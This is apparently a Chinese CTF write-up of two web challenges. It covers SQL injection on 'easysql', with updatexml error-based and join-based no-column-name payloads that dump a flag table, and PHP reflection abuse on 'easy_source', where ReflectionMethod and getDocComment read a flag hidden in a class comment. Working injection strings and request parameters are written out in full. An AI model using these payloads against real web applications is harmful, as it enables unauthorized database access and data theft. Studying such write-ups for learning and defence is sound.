Web
easysql
太菜了。。一道注入搞了半天也没整出来离谱的很。。
先是想着sqlmap跑一下,结果发现是sqllabs的数据库,发现flag表,心中暗想不会吧不会吧这就出来了??接下去,才发现是我太年轻了。flag表里啥就一个id字段,其他的啥也没跑出来,离谱啊。。
只能手工测测了。发现有报错注入,但是information被过滤了,查不了列名,然后想着用时间盲注,跑出列名,最后跑出来flag(那一刻是超爽)。。。。但是提交错误(心态炸裂),然后开始检查,发现脚本有问题,比较的时候大小写有问题。
payload = “admin’)and(if((select 1,‘NO’,’{}’)<(select * from flag),1,0))#”
在本地测了一下,发现大小写比较会出问题。要转ascii才行,所以之前的思路不太行了。。
继续分析吧,找资料,发现是利用join无列表注入。
道行还浅仍需努力啊最后还是没做出来。后面再加强无列表注入。
以下参考魔法少女雪殇
payload:uname=admin&passwd=1') and updatexml(1,concat(0x7e,(select*from (select * from flag as a join flag as b using(id,no))as c),0x7e),1)#&Submit=%E7%99%BB%E5%BD%95
报错出字段,继续
uname=admin&passwd=1')||updatexml(1,((select `cb9704e8-dfcb-4feb-90c7-d84c92ef0062` from flag limit 0,1)),1)%23#&Submit=%E7%99%BB%E5%BD%95
easy_source
原理是:PHP反射 flag藏在类注释里
根据提示源码,查看备份,.index.php.swo
(前几天津门杯是swp这次是swo,下次是不是就是swn了hahaha)
发现源码
分析题目,猜测 flag 是藏在类的注释中,我们能够实例化任意类,并调用类方法,那么就可以利用 PHP 内置类中的 ReflectionMethod 来读取 User 类里面各个函数的注释,本地测试如下:
伪源码:
<?php
class User
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
return ++self::$c;
}
function d()
{
return ++self::$c;
}
function e()
{
return ++self::$c;
}
function f()
{
return ++self::$c;
}
function g()
{
return ++self::$c;
}
function h()
{
return ++self::$c;
}
function i()
{
return ++self::$c;
}
function j()
{
return ++self::$c;
}
function k()
{
return ++self::$c;
}
function l()
{
return ++self::$c;
}
function m()
{
return ++self::$c;
}
function n()
{
return ++self::$c;
}
function o()
{
return ++self::$c;
}
function p()
{
return ++self::$c;
}
/**
* Increment counter
* @final
* @static
* @access publicflag{b5bd0ab820fd11eb8cf4fa163e83cb88}
* @return int
*/
function q()
{
return ++self::$c;
}
function r()
{
return ++self::$c;
}
function s()
{
return ++self::$c;
}
function t()
{
return ++self::$c;
}
}
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());
构造成题目中的 http 参数
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
因为不知道是在哪个函数的注释中,所以逐个函数暴破,暴破 rb 的值 a-z,可以发现 flag 在 q 的注释中.
payload:
?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment
本题考察的是 PHP反射,ReflectionMethod 构造 User 类中的函数方法,再通过 getDocComment 获取函数的注释,本例中使用__toString 同样可以输出函数注释内容。
参考:fslh-writeup
接下来就是划水了。。。整的跟高考似的。